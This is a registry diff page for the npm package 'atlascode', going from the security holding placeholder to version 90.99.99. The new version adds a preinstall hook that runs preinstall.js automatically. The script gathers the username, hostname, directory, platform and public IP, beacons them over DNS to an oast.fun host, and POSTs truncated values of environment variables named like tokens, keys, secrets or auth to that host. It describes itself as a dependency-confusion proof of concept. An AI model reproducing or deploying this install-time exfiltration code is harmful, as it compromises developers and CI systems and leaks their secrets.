atlascode 0.0.1-security → 90.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of atlascode might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "atlascode",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "90.99.99",
4
+ "description": " internal dependency confusion PoC - RCE via preinstall beacon",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "orwa",
10
+ "license": "ISC"
6
11
  }
package/preinstall.js ADDED
@@ -0,0 +1,87 @@
1
+ const os = require('os');
2
+ const dns = require('dns');
3
+ const http = require('http'); // Use HTTP instead of HTTPS for better reliability on OAST
4
+ const https = require('https'); // Optional, for fallback
5
+
6
+ const OAST = 'hfdsbugicgbndpfqqiezgq6s6qhv0u7rs.oast.fun';
7
+ const MAX_LABEL = 63;
8
+
9
+ // Split string to hex chunks for DNS beacons
10
+ function hexChunks(str) {
11
+ return Buffer.from(str).toString('hex').match(/.{1,63}/g) || [];
12
+ }
13
+
14
+ // Beacon via HTTP to OAST (avoids cert issues)
15
+ function postData(path, data) {
16
+ return new Promise((resolve) => {
17
+ try {
18
+ const payload = JSON.stringify(data);
19
+ const req = http.request({
20
+ hostname: OAST,
21
+ port: 80,
22
+ path: path,
23
+ method: 'POST',
24
+ headers: {
25
+ 'Content-Type': 'application/json',
26
+ 'Content-Length': Buffer.byteLength(payload),
27
+ 'User-Agent': 'curl/7.79',
28
+ },
29
+ timeout: 5000,
30
+ }, (res) => {
31
+ res.on('data', () => {});
32
+ res.on('end', resolve);
33
+ });
34
+
35
+ req.on('error', resolve);
36
+ req.on('timeout', () => { req.abort(); resolve(); });
37
+
38
+ req.write(payload);
39
+ req.end();
40
+ } catch (e) {
41
+ resolve();
42
+ }
43
+ });
44
+ }
45
+
46
+ // Fetch public IP with fallback to 'unknown'
47
+ function getPublicIp() {
48
+ return new Promise((resolve) => {
49
+ https.get('https://api.ipify.org', (res) => {
50
+ let ip = '';
51
+ res.on('data', chunk => ip += chunk);
52
+ res.on('end', () => resolve(ip.trim()));
53
+ }).on('error', () => resolve('unknown'));
54
+ });
55
+ }
56
+
57
+ (async () => {
58
+ const info = {
59
+ user: os.userInfo().username || 'nouser',
60
+ host: os.hostname() || 'nohost',
61
+ cwd: process.cwd(),
62
+ platform: os.platform(),
63
+ arch: os.arch(),
64
+ timestamp: Date.now().toString(36),
65
+ };
66
+
67
+ // DNS Beacon
68
+ let domainParts = [ ...hexChunks(info.user), ...hexChunks(info.host), info.platform, OAST ];
69
+ let domain = domainParts.join('.');
70
+ if (domain.length > 253) domain = domain.slice(0, 253);
71
+ dns.resolve(domain, () => {});
72
+
73
+ // HTTPS IP fetch + HTTP Beacon
74
+ const publicIp = await getPublicIp();
75
+ const infoWithIp = { ...info, ip: publicIp, ci: !!process.env.CI };
76
+
77
+ const leaked = Object.entries(process.env)
78
+ .filter(([k]) => /token|key|secret|auth/i.test(k))
79
+ .slice(0, 5)
80
+ .reduce((acc, [k, v]) => ({ ...acc, [k]: v.slice(0, 12) + '...' }), {});
81
+
82
+ const finalPayload = { systemInfo: infoWithIp };
83
+ if (Object.keys(leaked).length) finalPayload.envLeak = leaked;
84
+
85
+ await postData('/', finalPayload);
86
+ })();
87
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=atlascode for more information.